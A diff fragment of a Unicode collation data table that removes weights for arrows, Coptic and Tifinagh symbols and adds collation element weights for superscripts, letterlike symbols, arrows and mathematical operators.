-2B9A  ; [*0D3A.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD
-2B9B  ; [*0D3B.0020.0002] # THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD
-2B9C  ; [*0D3C.0020.0002] # BLACK LEFTWARDS EQUILATERAL ARROWHEAD
-2B9D  ; [*0D3D.0020.0002] # BLACK UPWARDS EQUILATERAL ARROWHEAD
-2B9E  ; [*0D3E.0020.0002] # BLACK RIGHTWARDS EQUILATERAL ARROWHEAD
-2B9F  ; [*0D3F.0020.0002] # BLACK DOWNWARDS EQUILATERAL ARROWHEAD
-2BA0  ; [*0D40.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS
-2BA1  ; [*0D41.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS
-2BA2  ; [*0D42.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS
-2BA3  ; [*0D43.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS
-2BA4  ; [*0D44.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS
-2BA5  ; [*0D45.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS
-2BA6  ; [*0D46.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS
-2BA7  ; [*0D47.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS
-2BA8  ; [*0D48.0020.0002] # BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW
-2BA9  ; [*0D49.0020.0002] # BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW
-2BAA  ; [*0D4A.0020.0002] # BLACK CURVED UPWARDS AND LEFTWARDS ARROW
-2BAB  ; [*0D4B.0020.0002] # BLACK CURVED UPWARDS AND RIGHTWARDS ARROW
-2BAC  ; [*0D4C.0020.0002] # BLACK CURVED LEFTWARDS AND UPWARDS ARROW
-2BAD  ; [*0D4D.0020.0002] # BLACK CURVED RIGHTWARDS AND UPWARDS ARROW
-2BAE  ; [*0D4E.0020.0002] # BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW
-2BAF  ; [*0D4F.0020.0002] # BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW
-2BB0  ; [*0D50.0020.0002] # RIBBON ARROW DOWN LEFT
-2BB1  ; [*0D51.0020.0002] # RIBBON ARROW DOWN RIGHT
-2BB2  ; [*0D52.0020.0002] # RIBBON ARROW UP LEFT
-2BB3  ; [*0D53.0020.0002] # RIBBON ARROW UP RIGHT
-2BB4  ; [*0D54.0020.0002] # RIBBON ARROW LEFT UP
-2BB5  ; [*0D55.0020.0002] # RIBBON ARROW RIGHT UP
-2BB6  ; [*0D56.0020.0002] # RIBBON ARROW LEFT DOWN
-2BB7  ; [*0D57.0020.0002] # RIBBON ARROW RIGHT DOWN
-2BB8  ; [*0D58.0020.0002] # UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR
-2BB9  ; [*0D59.0020.0002] # UP ARROWHEAD IN A RECTANGLE BOX
-2BBD  ; [*0D5A.0020.0002] # BALLOT BOX WITH LIGHT X
-2BBE  ; [*0D5B.0020.0002] # CIRCLED X
-2BBF  ; [*0D5C.0020.0002] # CIRCLED BOLD X
-2BC0  ; [*0D5D.0020.0002] # BLACK SQUARE CENTRED
-2BC1  ; [*0D5E.0020.0002] # BLACK DIAMOND CENTRED
-2BC2  ; [*0D5F.0020.0002] # TURNED BLACK PENTAGON
-2BC3  ; [*0D60.0020.0002] # HORIZONTAL BLACK OCTAGON
-2BC4  ; [*0D61.0020.0002] # BLACK OCTAGON
-2BC5  ; [*0D62.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE CENTRED
-2BC6  ; [*0D63.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED
-2BC7  ; [*0D64.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED
-2BC8  ; [*0D65.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA  ; [*0D66.0020.0002] # TOP HALF BLACK CIRCLE
-2BCB  ; [*0D67.0020.0002] # BOTTOM HALF BLACK CIRCLE
-2BCC  ; [*0D68.0020.0002] # LIGHT FOUR POINTED BLACK CUSP
-2BCD  ; [*0D69.0020.0002] # ROTATED LIGHT FOUR POINTED BLACK CUSP
-2BCE  ; [*0D6A.0020.0002] # WHITE FOUR POINTED CUSP
-2BCF  ; [*0D6B.0020.0002] # ROTATED WHITE FOUR POINTED CUSP
-2BD0  ; [*0D6C.0020.0002] # SQUARE POSITION INDICATOR
-2BD1  ; [*0D6D.0020.0002] # UNCERTAINTY SIGN
-2BEC  ; [*0D6E.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
-2BED  ; [*0D6F.0020.0002] # UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
-2BEE  ; [*0D70.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
-2BEF  ; [*0D71.0020.0002] # DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
-2CE5  ; [*0D72.0020.0002] # COPTIC SYMBOL MI RO
-2CE6  ; [*0D73.0020.0002] # COPTIC SYMBOL PI RO
-2CE7  ; [*0D74.0020.0002] # COPTIC SYMBOL STAUROS
-2CE8  ; [*0D75.0020.0002] # COPTIC SYMBOL TAU RO
-2CE9  ; [*0D76.0020.0002] # COPTIC SYMBOL KHI RO
-2CEA  ; [*0D77.0020.0002] # COPTIC SYMBOL SHIMA SIMA
-2CF9  ; [*027E.0020.0002] # COPTIC OLD NUBIAN FULL STOP
-2CFA  ; [*026C.0020.0002] # COPTIC OLD NUBIAN DIRECT QUESTION MARK
-2CFB  ; [*026D.0020.0002] # COPTIC OLD NUBIAN INDIRECT QUESTION MARK
-2CFC  ; [*02EF.0020.0002] # COPTIC OLD NUBIAN VERSE DIVIDER
-2CFD  ; [*1A68.0020.0002] # COPTIC FRACTION ONE HALF
-2CFE  ; [*027F.0020.0002] # COPTIC FULL STOP
-2CFF  ; [*02F0.0020.0002] # COPTIC MORPHOLOGICAL DIVIDER
-2D70  ; [*0410.0020.0002] # TIFINAGH SEPARATOR MARK
+207A  ; [*0616.0020.0014] # SUPERSCRIPT PLUS SIGN
+207B  ; [*0621.0020.0014] # SUPERSCRIPT MINUS
+207C  ; [*061B.0020.0014] # SUPERSCRIPT EQUALS SIGN
+207D  ; [*0317.0020.0014] # SUPERSCRIPT LEFT PARENTHESIS
+207E  ; [*0318.0020.0014] # SUPERSCRIPT RIGHT PARENTHESIS
+208A  ; [*0616.0020.0015] # SUBSCRIPT PLUS SIGN
+208B  ; [*0621.0020.0015] # SUBSCRIPT MINUS
+208C  ; [*061B.0020.0015] # SUBSCRIPT EQUALS SIGN
+208D  ; [*0317.0020.0015] # SUBSCRIPT LEFT PARENTHESIS
+208E  ; [*0318.0020.0015] # SUBSCRIPT RIGHT PARENTHESIS
+2104  ; [*0586.0020.0002] # CENTRE LINE SYMBOL
+2108  ; [*0587.0020.0002] # SCRUPLE
+2114  ; [*0588.0020.0002] # L B BAR SYMBOL
+2117  ; [*0589.0020.0002] # SOUND RECORDING COPYRIGHT
+2118  ; [*058A.0020.0002] # SCRIPT CAPITAL P
+211E  ; [*058B.0020.0002] # PRESCRIPTION TAKE
+211F  ; [*058C.0020.0002] # RESPONSE
+2123  ; [*058D.0020.0002] # VERSICLE
+2125  ; [*058E.0020.0002] # OUNCE SIGN
+2127  ; [*058F.0020.0002] # INVERTED OHM SIGN
+2129  ; [*0590.0020.0002] # TURNED GREEK SMALL LETTER IOTA
+212E  ; [*0591.0020.0002] # ESTIMATED SYMBOL
+213A  ; [*0592.0020.0002] # ROTATED CAPITAL Q
+2140  ; [*0615.0020.0005] # DOUBLE-STRUCK N-ARY SUMMATION
+2141  ; [*0593.0020.0002] # TURNED SANS-SERIF CAPITAL G
+2142  ; [*0594.0020.0002] # TURNED SANS-SERIF CAPITAL L
+2143  ; [*0595.0020.0002] # REVERSED SANS-SERIF CAPITAL L
+2144  ; [*0596.0020.0002] # TURNED SANS-SERIF CAPITAL Y
+214A  ; [*0597.0020.0002] # PROPERTY LINE
+214B  ; [*06B1.0020.0002] # TURNED AMPERSAND
+214C  ; [*0598.0020.0002] # PER SIGN
+214F  ; [*0599.0020.0002] # SYMBOL FOR SAMARITAN SOURCE
+2180  ; [*1AC6.0020.0002] # ROMAN NUMERAL ONE THOUSAND C D
+2181  ; [*1AC7.0020.0002] # ROMAN NUMERAL FIVE THOUSAND
+2182  ; [*1AC8.0020.0002] # ROMAN NUMERAL TEN THOUSAND
+2186  ; [*1AC9.0020.0002] # ROMAN NUMERAL FIFTY EARLY FORM
+2187  ; [*1ACA.0020.0002] # ROMAN NUMERAL FIFTY THOUSAND
+2188  ; [*1ACB.0020.0002] # ROMAN NUMERAL ONE HUNDRED THOUSAND
+218A  ; [*059A.0020.0002] # TURNED DIGIT TWO
+218B  ; [*059B.0020.0002] # TURNED DIGIT THREE
+2190  ; [*059C.0020.0002] # LEFTWARDS ARROW
+2191  ; [*059E.0020.0002] # UPWARDS ARROW
+2192  ; [*059D.0020.0002] # RIGHTWARDS ARROW
+2193  ; [*059F.0020.0002] # DOWNWARDS ARROW
+2194  ; [*05A0.0020.0002] # LEFT RIGHT ARROW
+2195  ; [*05A1.0020.0002] # UP DOWN ARROW
+2196  ; [*05A2.0020.0002] # NORTH WEST ARROW
+2197  ; [*05A3.0020.0002] # NORTH EAST ARROW
+2198  ; [*05A4.0020.0002] # SOUTH EAST ARROW
+2199  ; [*05A5.0020.0002] # SOUTH WEST ARROW
+219A  ; [*059C.0020.0002][.0000.002F.0002] # LEFTWARDS ARROW WITH STROKE
+219B  ; [*059D.0020.0002][.0000.002F.0002] # RIGHTWARDS ARROW WITH STROKE
+219C  ; [*05A6.0020.0002] # LEFTWARDS WAVE ARROW
+219D  ; [*05A7.0020.0002] # RIGHTWARDS WAVE ARROW
+219E  ; [*05A8.0020.0002] # LEFTWARDS TWO HEADED ARROW
+219F  ; [*05A9.0020.0002] # UPWARDS TWO HEADED ARROW
+21A0  ; [*05AA.0020.0002] # RIGHTWARDS TWO HEADED ARROW
+21A1  ; [*05AB.0020.0002] # DOWNWARDS TWO HEADED ARROW
+21A2  ; [*05AC.0020.0002] # LEFTWARDS ARROW WITH TAIL
+21A3  ; [*05AD.0020.0002] # RIGHTWARDS ARROW WITH TAIL
+21A4  ; [*05AE.0020.0002] # LEFTWARDS ARROW FROM BAR
+21A5  ; [*05AF.0020.0002] # UPWARDS ARROW FROM BAR
+21A6  ; [*05B0.0020.0002] # RIGHTWARDS ARROW FROM BAR
+21A7  ; [*05B1.0020.0002] # DOWNWARDS ARROW FROM BAR
+21A8  ; [*05B2.0020.0002] # UP DOWN ARROW WITH BASE
+21A9  ; [*05B3.0020.0002] # LEFTWARDS ARROW WITH HOOK
+21AA  ; [*05B4.0020.0002] # RIGHTWARDS ARROW WITH HOOK
+21AB  ; [*05B5.0020.0002] # LEFTWARDS ARROW WITH LOOP
+21AC  ; [*05B6.0020.0002] # RIGHTWARDS ARROW WITH LOOP
+21AD  ; [*05B7.0020.0002] # LEFT RIGHT WAVE ARROW
+21AE  ; [*05A0.0020.0002][.0000.002F.0002] # LEFT RIGHT ARROW WITH STROKE
+21AF  ; [*05B8.0020.0002] # DOWNWARDS ZIGZAG ARROW
+21B0  ; [*05B9.0020.0002] # UPWARDS ARROW WITH TIP LEFTWARDS
+21B1  ; [*05BA.0020.0002] # UPWARDS ARROW WITH TIP RIGHTWARDS
+21B2  ; [*05BB.0020.0002] # DOWNWARDS ARROW WITH TIP LEFTWARDS
+21B3  ; [*05BC.0020.0002] # DOWNWARDS ARROW WITH TIP RIGHTWARDS
+21B4  ; [*05BD.0020.0002] # RIGHTWARDS ARROW WITH CORNER DOWNWARDS
+21B5  ; [*05BE.0020.0002] # DOWNWARDS ARROW WITH CORNER LEFTWARDS
+21B6  ; [*05BF.0020.0002] # ANTICLOCKWISE TOP SEMICIRCLE ARROW
+21B7  ; [*05C0.0020.0002] # CLOCKWISE TOP SEMICIRCLE ARROW
+21B8  ; [*05C1.0020.0002] # NORTH WEST ARROW TO LONG BAR
+21B9  ; [*05C2.0020.0002] # LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR
+21BA  ; [*05C3.0020.0002] # ANTICLOCKWISE OPEN CIRCLE ARROW
+21BB  ; [*05C4.0020.0002] # CLOCKWISE OPEN CIRCLE ARROW
+21BC  ; [*05C5.0020.0002] # LEFTWARDS HARPOON WITH BARB UPWARDS
+21BD  ; [*05C6.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWNWARDS
+21BE  ; [*05C7.0020.0002] # UPWARDS HARPOON WITH BARB RIGHTWARDS
+21BF  ; [*05C8.0020.0002] # UPWARDS HARPOON WITH BARB LEFTWARDS
+21C0  ; [*05C9.0020.0002] # RIGHTWARDS HARPOON WITH BARB UPWARDS
+21C1  ; [*05CA.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWNWARDS
+21C2  ; [*05CB.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHTWARDS
+21C3  ; [*05CC.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFTWARDS
+21C4  ; [*05CD.0020.0002] # RIGHTWARDS ARROW OVER LEFTWARDS ARROW
+21C5  ; [*05CE.0020.0002] # UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW
+21C6  ; [*05CF.0020.0002] # LEFTWARDS ARROW OVER RIGHTWARDS ARROW
+21C7  ; [*05D0.0020.0002] # LEFTWARDS PAIRED ARROWS
+21C8  ; [*05D1.0020.0002] # UPWARDS PAIRED ARROWS
+21C9  ; [*05D2.0020.0002] # RIGHTWARDS PAIRED ARROWS
+21CA  ; [*05D3.0020.0002] # DOWNWARDS PAIRED ARROWS
+21CB  ; [*05D4.0020.0002] # LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON
+21CC  ; [*05D5.0020.0002] # RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
+21CD  ; [*05D6.0020.0002][.0000.002F.0002] # LEFTWARDS DOUBLE ARROW WITH STROKE
+21CE  ; [*05DA.0020.0002][.0000.002F.0002] # LEFT RIGHT DOUBLE ARROW WITH STROKE
+21CF  ; [*05D8.0020.0002][.0000.002F.0002] # RIGHTWARDS DOUBLE ARROW WITH STROKE
+21D0  ; [*05D6.0020.0002] # LEFTWARDS DOUBLE ARROW
+21D1  ; [*05D7.0020.0002] # UPWARDS DOUBLE ARROW
+21D2  ; [*05D8.0020.0002] # RIGHTWARDS DOUBLE ARROW
+21D3  ; [*05D9.0020.0002] # DOWNWARDS DOUBLE ARROW
+21D4  ; [*05DA.0020.0002] # LEFT RIGHT DOUBLE ARROW
+21D5  ; [*05DB.0020.0002] # UP DOWN DOUBLE ARROW
+21D6  ; [*05DC.0020.0002] # NORTH WEST DOUBLE ARROW
+21D7  ; [*05DD.0020.0002] # NORTH EAST DOUBLE ARROW
+21D8  ; [*05DE.0020.0002] # SOUTH EAST DOUBLE ARROW
+21D9  ; [*05DF.0020.0002] # SOUTH WEST DOUBLE ARROW
+21DA  ; [*05E0.0020.0002] # LEFTWARDS TRIPLE ARROW
+21DB  ; [*05E1.0020.0002] # RIGHTWARDS TRIPLE ARROW
+21DC  ; [*05E2.0020.0002] # LEFTWARDS SQUIGGLE ARROW
+21DD  ; [*05E3.0020.0002] # RIGHTWARDS SQUIGGLE ARROW
+21DE  ; [*05E4.0020.0002] # UPWARDS ARROW WITH DOUBLE STROKE
+21DF  ; [*05E5.0020.0002] # DOWNWARDS ARROW WITH DOUBLE STROKE
+21E0  ; [*05E6.0020.0002] # LEFTWARDS DASHED ARROW
+21E1  ; [*05E7.0020.0002] # UPWARDS DASHED ARROW
+21E2  ; [*05E8.0020.0002] # RIGHTWARDS DASHED ARROW
+21E3  ; [*05E9.0020.0002] # DOWNWARDS DASHED ARROW
+21E4  ; [*05EA.0020.0002] # LEFTWARDS ARROW TO BAR
+21E5  ; [*05EB.0020.0002] # RIGHTWARDS ARROW TO BAR
+21E6  ; [*05EC.0020.0002] # LEFTWARDS WHITE ARROW
+21E7  ; [*05ED.0020.0002] # UPWARDS WHITE ARROW
+21E8  ; [*05EE.0020.0002] # RIGHTWARDS WHITE ARROW
+21E9  ; [*05EF.0020.0002] # DOWNWARDS WHITE ARROW
+21EA  ; [*05F0.0020.0002] # UPWARDS WHITE ARROW FROM BAR
+21EB  ; [*05F1.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL
+21EC  ; [*05F2.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR
+21ED  ; [*05F3.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR
+21EE  ; [*05F4.0020.0002] # UPWARDS WHITE DOUBLE ARROW
+21EF  ; [*05F5.0020.0002] # UPWARDS WHITE DOUBLE ARROW ON PEDESTAL
+21F0  ; [*05F6.0020.0002] # RIGHTWARDS WHITE ARROW FROM WALL
+21F1  ; [*05F7.0020.0002] # NORTH WEST ARROW TO CORNER
+21F2  ; [*05F8.0020.0002] # SOUTH EAST ARROW TO CORNER
+21F3  ; [*05F9.0020.0002] # UP DOWN WHITE ARROW
+21F4  ; [*05FA.0020.0002] # RIGHT ARROW WITH SMALL CIRCLE
+21F5  ; [*05FB.0020.0002] # DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW
+21F6  ; [*05FC.0020.0002] # THREE RIGHTWARDS ARROWS
+21F7  ; [*05FD.0020.0002] # LEFTWARDS ARROW WITH VERTICAL STROKE
+21F8  ; [*05FE.0020.0002] # RIGHTWARDS ARROW WITH VERTICAL STROKE
+21F9  ; [*05FF.0020.0002] # LEFT RIGHT ARROW WITH VERTICAL STROKE
+21FA  ; [*0600.0020.0002] # LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE
+21FB  ; [*0601.0020.0002] # RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE
+21FC  ; [*0602.0020.0002] # LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE
+21FD  ; [*0603.0020.0002] # LEFTWARDS OPEN-HEADED ARROW
+21FE  ; [*0604.0020.0002] # RIGHTWARDS OPEN-HEADED ARROW
+21FF  ; [*0605.0020.0002] # LEFT RIGHT OPEN-HEADED ARROW
+2200  ; [*0606.0020.0002] # FOR ALL
+2201  ; [*0607.0020.0002] # COMPLEMENT
+2202  ; [*0608.0020.0002] # PARTIAL DIFFERENTIAL
+2203  ; [*0609.0020.0002] # THERE EXISTS
+2204  ; [*0609.0020.0002][.0000.002F.0002] # THERE DOES NOT EXIST
+2205  ; [*060A.0020.0002] # EMPTY SET
+2206  ; [*060B.0020.0002] # INCREMENT
+2207  ; [*060C.0020.0002] # NABLA
+2208  ; [*060D.0020.0002] # ELEMENT OF
+2209  ; [*060D.0020.0002][.0000.002F.0002] # NOT AN ELEMENT OF
+220A  ; [*060E.0020.0002] # SMALL ELEMENT OF
+220B  ; [*060F.0020.0002] # CONTAINS AS MEMBER
+220C  ; [*060F.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS MEMBER
+220D  ; [*0610.0020.0002] # SMALL CONTAINS AS MEMBER
+220E  ; [*0612.0020.0002] # END OF PROOF
+220F  ; [*0613.0020.0002] # N-ARY PRODUCT
+2210  ; [*0614.0020.0002] # N-ARY COPRODUCT
+2211  ; [*0615.0020.0002] # N-ARY SUMMATION
+2212  ; [*0621.0020.0002] # MINUS SIGN
+2213  ; [*0623.0020.0002] # MINUS-OR-PLUS SIGN
+2214  ; [*0624.0020.0002] # DOT PLUS
+2215  ; [*0625.0020.0002] # DIVISION SLASH
+2216  ; [*0627.0020.0002] # SET MINUS
+2217  ; [*0628.0020.0002] # ASTERISK OPERATOR
+2218  ; [*0629.0020.0002] # RING OPERATOR
+2219  ; [*062A.0020.0002] # BULLET OPERATOR
+221A  ; [*062B.0020.0002] # SQUARE ROOT
+221B  ; [*062C.0020.0002] # CUBE ROOT
+221C  ; [*062E.0020.0002] # FOURTH ROOT
+221D  ; [*0630.0020.0002] # PROPORTIONAL TO
+221E  ; [*0631.0020.0002] # INFINITY
+221F  ; [*0632.0020.0002] # RIGHT ANGLE
+2220  ; [*0633.0020.0002] # ANGLE
+2221  ; [*0634.0020.0002] # MEASURED ANGLE
+2222  ; [*0635.0020.0002] # SPHERICAL ANGLE
+2223  ; [*0636.0020.0002] # DIVIDES
+2224  ; [*0636.0020.0002][.0000.002F.0002] # DOES NOT DIVIDE
+2225  ; [*0637.0020.0002] # PARALLEL TO
+2226  ; [*0637.0020.0002][.0000.002F.0002] # NOT PARALLEL TO
+2227  ; [*0638.0020.0002] # LOGICAL AND
+2228  ; [*0639.0020.0002] # LOGICAL OR
+2229  ; [*063A.0020.0002] # INTERSECTION
+222A  ; [*063B.0020.0002] # UNION
+222B  ; [*063C.0020.0002] # INTEGRAL
+222C  ; [*063C.0020.0004][*063C.0020.0004] # DOUBLE INTEGRAL
+222D  ; [*063C.0020.0004][*063C.0020.0004][*063C.0020.0004] # TRIPLE INTEGRAL
+222E  ; [*063D.0020.0002] # CONTOUR INTEGRAL
+222F  ; [*063D.0020.0004][*063D.0020.0004] # SURFACE INTEGRAL
+2230  ; [*063D.0020.0004][*063D.0020.0004][*063D.0020.0004] # VOLUME INTEGRAL
+2231  ; [*063E.0020.0002] # CLOCKWISE INTEGRAL
+2232  ; [*063F.0020.0002] # CLOCKWISE CONTOUR INTEGRAL
+2233  ; [*0640.0020.0002] # ANTICLOCKWISE CONTOUR INTEGRAL
+2234  ; [*0641.0020.0002] # THEREFORE
+2235  ; [*0642.0020.0002] # BECAUSE
+2236  ; [*0643.0020.0002] # RATIO
+2237  ; [*0644.0020.0002] # PROPORTION
+2238  ; [*0645.0020.0002] # DOT MINUS
+2239  ; [*0646.0020.0002] # EXCESS
+223A  ; [*0647.0020.0002] # GEOMETRIC PROPORTION
+223B  ; [*0648.0020.0002] # HOMOTHETIC
+223C  ; [*0649.0020.0002] # TILDE OPERATOR
+223D  ; [*064A.0020.0002] # REVERSED TILDE
+223E  ; [*064B.0020.0002] # INVERTED LAZY S
+223F  ; [*064C.0020.0002] # SINE WAVE
+2240  ; [*064D.0020.0002] # WREATH PRODUCT
+2241  ; [*0649.0020.0002][.0000.002F.0002] # NOT TILDE
+2242  ; [*064E.0020.0002] # MINUS TILDE
+2243  ; [*064F.0020.0002] # ASYMPTOTICALLY EQUAL TO
+2244  ; [*064F.0020.0002][.0000.002F.0002] # NOT ASYMPTOTICALLY EQUAL TO
+2245  ; [*0650.0020.0002] # APPROXIMATELY EQUAL TO
+2246  ; [*0651.0020.0002] # APPROXIMATELY BUT NOT ACTUALLY EQUAL TO
+2247  ; [*0650.0020.0002][.0000.002F.0002] # NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO
+2248  ; [*0652.0020.0002] # ALMOST EQUAL TO
+2249  ; [*0652.0020.0002][.0000.002F.0002] # NOT ALMOST EQUAL TO
+224A  ; [*0653.0020.0002] # ALMOST EQUAL OR EQUAL TO
+224B  ; [*0654.0020.0002] # TRIPLE TILDE
+224C  ; [*0655.0020.0002] # ALL EQUAL TO
+224D  ; [*0656.0020.0002] # EQUIVALENT TO
+224E  ; [*0657.0020.0002] # GEOMETRICALLY EQUIVALENT TO
+224F  ; [*0658.0020.0002] # DIFFERENCE BETWEEN
+2250  ; [*0659.0020.0002] # APPROACHES THE LIMIT
+2251  ; [*065A.0020.0002] # GEOMETRICALLY EQUAL TO
+2252  ; [*065B.0020.0002] # APPROXIMATELY EQUAL TO OR THE IMAGE OF
+2253  ; [*065C.0020.0002] # IMAGE OF OR APPROXIMATELY EQUAL TO
+2254  ; [*065D.0020.0002] # COLON EQUALS
+2255  ; [*065E.0020.0002] # EQUALS COLON
+2256  ; [*065F.0020.0002] # RING IN EQUAL TO
+2257  ; [*0660.0020.0002] # RING EQUAL TO
+2258  ; [*0661.0020.0002] # CORRESPONDS TO
+2259  ; [*0662.0020.0002] # ESTIMATES
+225A  ; [*0663.0020.0002] # EQUIANGULAR TO
+225B  ; [*0664.0020.0002] # STAR EQUALS
+225C  ; [*0665.0020.0002] # DELTA EQUAL TO
+225D  ; [*0666.0020.0002] # EQUAL TO BY DEFINITION
+225E  ; [*0667.0020.0002] # MEASURED BY
+225F  ; [*0668.0020.0002] # QUESTIONED EQUAL TO
+2260  ; [*061B.0020.0002][.0000.002F.0002] # NOT EQUAL TO
+2261  ; [*0669.0020.0002] # IDENTICAL TO
+2262  ; [*0669.0020.0002][.0000.002F.0002] # NOT IDENTICAL TO
+2263  ; [*066A.0020.0002] # STRICTLY EQUIVALENT TO
+2264  ; [*066B.0020.0002] # LESS-THAN OR EQUAL TO
+2265  ; [*066C.0020.0002] # GREATER-THAN OR EQUAL TO
+2266  ; [*066D.0020.0002] # LESS-THAN OVER EQUAL TO
+2267  ; [*066E.0020.0002] # GREATER-THAN OVER EQUAL TO
+2268  ; [*066F.0020.0002] # LESS-THAN BUT NOT EQUAL TO
+2269  ; [*0670.0020.0002] # GREATER-THAN BUT NOT EQUAL TO
+226A  ; [*0671.0020.0002] # MUCH LESS-THAN
+226B  ; [*0672.0020.0002] # MUCH GREATER-THAN
+226C  ; [*0673.0020.0002] # BETWEEN
+226D  ; [*0656.0020.0002][.0000.002F.0002] # NOT EQUIVALENT TO
+226E  ; [*061A.0020.0002][.0000.002F.0002] # NOT LESS-THAN
+226F  ; [*061C.0020.0002][.0000.002F.0002] # NOT GREATER-THAN
+2270  ; [*066B.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUAL TO
+2271  ; [*066C.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUAL TO
+2272  ; [*0674.0020.0002] # LESS-THAN OR EQUIVALENT TO
+2273  ; [*0675.0020.0002] # GREATER-THAN OR EQUIVALENT TO
+2274  ; [*0674.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUIVALENT TO
+2275  ; [*0675.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUIVALENT TO
+2276  ; [*0676.0020.0002] # LESS-THAN OR GREATER-THAN
+2277  ; [*0677.0020.0002] # GREATER-THAN OR LESS-THAN
+2278  ; [*0676.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR GREATER-THAN
+2279  ; [*0677.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR LESS-THAN
+227A  ; [*0678.0020.0002] # PRECEDES
+227B  ; [*0679.0020.0002] # SUCCEEDS
+227C  ; [*067A.0020.0002] # PRECEDES OR EQUAL TO
+227D  ; [*067B.0020.0002] # SUCCEEDS OR EQUAL TO
+227E  ; [*067C.0020.0002] # PRECEDES OR EQUIVALENT TO
+227F  ; [*067D.0020.0002] # SUCCEEDS OR EQUIVALENT TO
+2280  ; [*0678.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE
+2281  ; [*0679.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED
+2282  ; [*067E.0020.0002] # SUBSET OF
+2283  ; [*067F.0020.0002] # SUPERSET OF
+2284  ; [*067E.0020.0002][.0000.002F.0002] # NOT A SUBSET OF
+2285  ; [*067F.0020.0002][.0000.002F.0002] # NOT A SUPERSET OF
+2286  ; [*0680.0020.0002] # SUBSET OF OR EQUAL TO
+2287  ; [*0681.0020.0002] # SUPERSET OF OR EQUAL TO
+2288  ; [*0680.0020.0002][.0000.002F.0002] # NEITHER A SUBSET OF NOR EQUAL TO
+2289  ; [*0681.0020.0002][.0000.002F.0002] # NEITHER A SUPERSET OF NOR EQUAL TO
+228A  ; [*0682.0020.0002] # SUBSET OF WITH NOT EQUAL TO
+228B  ; [*0683.0020.0002] # SUPERSET OF WITH NOT EQUAL TO
+228C  ; [*0684.0020.0002] # MULTISET
+228D  ; [*0685.0020.0002] # MULTISET MULTIPLICATION
+228E  ; [*0686.0020.0002] # MULTISET UNION
+228F  ; [*0687.0020.0002] # SQUARE IMAGE OF
+2290  ; [*0688.0020.0002] # SQUARE ORIGINAL OF
+2291  ; [*0689.0020.0002] # SQUARE IMAGE OF OR EQUAL TO
+2292  ; [*068A.0020.0002] # SQUARE ORIGINAL OF OR EQUAL TO
+2293  ; [*068B.0020.0002] # SQUARE CAP
+2294  ; [*068C.0020.0002] # SQUARE CUP
+2295  ; [*068D.0020.0002] # CIRCLED PLUS
+2296  ; [*068E.0020.0002] # CIRCLED MINUS
+2297  ; [*068F.0020.0002] # CIRCLED TIMES
+2298  ; [*0690.0020.0002] # CIRCLED DIVISION SLASH
+2299  ; [*0691.0020.0002] # CIRCLED DOT OPERATOR
+229A  ; [*0692.0020.0002] # CIRCLED RING OPERATOR
+229B  ; [*0693.0020.0002] # CIRCLED ASTERISK OPERATOR
+229C  ; [*0694.0020.0002] # CIRCLED EQUALS
+229D  ; [*0695.0020.0002] # CIRCLED DASH
+229E  ; [*0696.0020.0002] # SQUARED PLUS
+229F  ; [*0697.0020.0002] # SQUARED MINUS
+22A0  ; [*0698.0020.0002] # SQUARED TIMES
+22A1  ; [*0699.0020.0002] # SQUARED DOT OPERATOR
+22A2  ; [*069A.0020.0002] # RIGHT TACK
+22A3  ; [*069B.0020.0002] # LEFT TACK
+22A4  ; [*069C.0020.0002] # DOWN TACK
+22A5  ; [*069D.0020.0002] # UP TACK
